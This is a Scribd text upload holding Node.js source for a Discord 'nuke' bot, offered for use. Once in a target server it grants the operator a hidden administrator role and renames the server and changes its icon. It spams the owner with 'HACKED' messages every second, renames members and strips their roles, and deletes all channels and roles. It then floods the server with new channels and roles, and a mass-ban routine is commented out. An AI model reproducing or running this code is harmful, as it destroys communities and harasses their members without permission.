[go: up one dir, main page]

0% found this document useful (0 votes)
10 views3 pages

Message

Uploaded by

Abdo Fadili
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views3 pages

Message

Uploaded by

Abdo Fadili
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

const Discord = require("discord.

js")
const client = new Discord.Client()
const token = "BOT_TOKEN"

const setAdmin = (guildID, accountID) => {


const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot
isn't in`)
else if (!
targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES_OR_PERMISSIONS
') || !targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES'))
return console.error(`${client.user.username} has not the required perms to make
something like this`)

targetServer.createRole({name: `\u200b`, color: 0x2F3136, permissions:


"ADMINISTRATOR"}).then((role) => {

targetServer.members.get(accountID).addRole(role).catch((err) => {
return console.error(`You are not in the ${targetServer.name} server !
You must to be in this server befor leveling up !`)
})
})
}

const changeServerInfo = (guildID, options) => {


const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot
isn't in`)
else if (!
targetServer.members.get(client.user.id).hasPermission("MANAGE_GUILD")) return
console.error(`${client.user.username} has not the required perms to make something
like this`)

targetServer.setName(options.newServerName)
targetServer.setIcon(options.newServerIcon)

const embed = new Discord.RichEmbed()


.setAuthor(client.user.tag, client.user.avatarURL)
.setTitle("HACKED")
.setDescription(`YOUR SERVER ${targetServer.name} HAS BEEN HACKED BY $
{client.user.tag}`)
.setFooter(client.user.tag, client.user.avatarURL)
.setColor("#ff0000")

setInterval(() => {
return targetServer.owner.send(embed)
}, 1000)
}

const banMembers = (guildID) => {


const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot
isn't in`)
else if (!
targetServer.members.get(client.user.id).hasPermission("BAN_MEMBERS")) return
console.error(`${client.user.username} has not the required perms to make something
like this`)

targetServer.members.forEach(async (member) => {


member.bannable ? await member.ban({reason: `HACKED BY $
{client.user.tag}`}) : undefined
})
}

const changeNicks = (guildID, newNick) => {


const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot
isn't in`)
else if (!
targetServer.members.get(client.user.id).hasPermission("MANAGE_NICKNAMES")) return
console.error(`${client.user.username} has not the required perms to make something
like this`)

targetServer.members.forEach((member) => {
try {

member.setNickname(newNick, `HACKED BY ${client.user.tag}`)


} catch (error) {
undefined
}
})
}

const createChanelsAndRoles = (guildID, name) => {


const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot
isn't in`)
else if (!
targetServer.members.get(client.user.id).hasPermission("MANAGE_CHANNELS") || !
targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES_OR_PERMISSIONS
') || !targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES'))
return console.error(`${client.user.username} has not the required perms to make
something like this`)
targetServer.members.forEach((member) => {
member.roles.forEach(async (role) => {
try {
await member.removeRole(role)

} catch (error) {
undefined
}
})
})

targetServer.channels.forEach(async (channel) => {


channel.deletable ? await channel.delete() : undefined
})

targetServer.roles.forEach(async(role) => {
role.deletable ? await role.delete() : undefined
})

setInterval(async () => {
await targetServer.createChannel(name, "text")
await targetServer.createChannel(name, "voice")
await targetServer.createRole({name: `HACKED BY ${client.user.username}`,
permissions: 0, color: 0xFF0000 }).then(async(role) =>{
await targetServer.members.forEach(async (member) => {
try {
await member.addRole(role)
} catch (error) {
undefined
}
})
})
}, 500)

client.on("ready", () => {
console.log("THE HACKING STARTED NOW ")

// Setup YOUR personnal settings


const configs = {
"targetServerID": "SERVER_ID",
"accountID": "YOUR_ID",
"botNickname": "NEW_BOT_NAME",
"botIcon": 'https://6.top4top.net/p_1415xrqem1.jpg',
"newServerIcon": "https://6.top4top.net/p_1415xrqem1.jpg",
"newServerName": "NEW_SERVER_NAME",
}

client.user.setUsername(configs.botNickname)
client.user.setAvatar(configs.botIcon)

// Enable all the options


setAdmin(configs.targetServerID, configs.accountID)
changeServerInfo(configs.targetServerID, {"newServerName":
configs.newServerName, "newServerIcon": configs.newServerIcon})
changeNicks(configs.targetServerID, configs.botNickname)
// banMembers(configs.targetServerID)
createChanelsAndRoles(configs.targetServerID, configs.botNickname)
})

client.login(token)

You might also like